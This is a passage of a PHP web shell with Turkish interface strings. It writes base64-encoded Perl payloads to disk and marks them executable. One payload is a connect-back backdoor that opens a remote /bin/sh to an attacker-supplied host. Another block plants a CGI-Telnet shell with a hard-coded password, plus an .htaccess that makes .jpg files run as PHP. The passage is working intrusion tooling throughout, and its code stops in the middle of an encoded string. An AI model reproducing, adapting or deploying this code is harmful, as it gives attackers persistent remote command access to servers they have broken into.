	$file = fopen("izo.cin" ,"w+");
	$write = fwrite ($file ,base64_decode($cgishellizocin));
	fclose($file);
	chmod("izo.cin",0755);
	$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
	MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
	ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
	MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
	ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
	MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
	Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
	KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
	SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
	ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
	UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
	VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
	ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
	JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
	bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
	ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
	YXRhY2hlZFxuXG4iOw==';
	$file = fopen("dc.pl" ,"w+");
	$write = fwrite ($file ,base64_decode($netcatshell));
	fclose($file);
	chmod("dc.pl",0755);
	echo '<center><p>Perl Izocin Cgi Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)</p><a href=izocin/izo.cin target="_blank">Perl Izocin Cgi</a></center>';	
}
if(isset($_POST['cgi2'])){
	mkdir("cgitelnet");
	chdir("cgitelnet");
	$kokdosya = ".htaccess";
	$dosya_adi = "$kokdosya";
	$dosya = fopen($dosya_adi,'w');
	$metin = "Options +FollowSymLinks +Indexes\nDirectoryIndex default.html \n## START ##\nOptions +ExecCGI\nAddHandler cgi-script log cgi pl tg love h4 tgb x-zone \nAddType application/x-httpd-php .jpg\nRewriteEngine on\nRewriteRule (.*)\war$ .log\n## END ##";    
	fwrite($dosya,$metin);
	fclose($dosya);
	$pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+S3ltIExqbms8L2ZvbnQ+IjsKCiRQYXNzd29yZCA9ICJyMDB0c2hlbGwuaW5mbyI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzCgkJCQkjIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuCgokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZAoJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdAoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuCgokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUKCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZAoJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuCgojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhCgokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKJGNvbHM9IDEzMDsKJHJvd3M9IDI2OwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlIAp7Cglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOwoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikKCXsKCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsKCX0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQoJewoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsKCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOwoJfQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgZnVuY3Rpb24gRW5jb2RlRGlyOiBlbmNvZGUgYmFzZTY0IFBhdGgKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRW5jb2RlRGlyCnsKCW15ICRkaXIgPSBzaGlmdDsKCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOwoJJGRpciA9fiBzLyhccnxcbikvLzsKCXJldHVybiAkZGlyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXIKIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUhlYWRlcgp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkaWQgPSBgaWRgIGlmKCEkV2luTlQpOwoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT4kRU5WeydTRVJWRVJfTkFNRSd9IHwgSVAgOiAkRU5WeydTRVJWRVJfQUREUid9IDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+CjxzdHlsZT4KYm9keXsKZm9udDogMTBwdCBWZXJkYW5hOwpjb2xvcjogI2ZmZjsKfQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwp9CiNkb21haW4gdHI6aG92ZXJ7CmJhY2tncm91bmQtY29sb3I6ICM0NDQ7Cn0KdGQgewpjb2xvcjogI2ZmZmZmZjsKfQoubGlzdGRpciB0ZHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQoubGlzdGRpciB0aHsKCWNvbG9yOiAjRkY5OTAwOwp9Ci5kaXIsLmZpbGUKewoJdGV4dC1hbGlnbjogbGVmdCAhaW1wb3J0YW50Owp9Ci5kaXJ7Cglmb250LXNpemU6IDEwcHQ7IAoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KdGFibGUgewpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOwp9CmlucHV0IHsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAjZmY5OTAwOwp9CmlucHV0LnN1Ym1pdCB7CnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKY29sb3I6ICNGRkZGRkY7CmJvcmRlci1jb2xvcjogIzAwOTkwMDsKfQpjb2RlIHsKYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiB3aGlsZTsKfQpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6ICNGRjAwQUE7Cn0KdGV4dGFyZWEgewpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gRW5jb2RlcihuYW1lKQp7Cgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsKCWUudmFsdWUgPSBidG9hKGUudmFsdWUpOwoJcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQp7CglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsKfQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikKewoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7Cgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglpZihmPT0nZicpCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8Y2VudGVyPjxjb2RlPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4KCQk8Yj48Zm9udCBzaXplPSIzIj4kRWRpdFBlcnNpb248L2ZvbnQ+PC9iPgoJPC90ZD4KCTx0ZD4KCQkkaW5mbwoJPC90ZD4KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9InJlZCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9InJlZCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iLi4vZXJyb3JfbG9nLnBocCI+SGVscDwvYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiI+CiRpZAo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4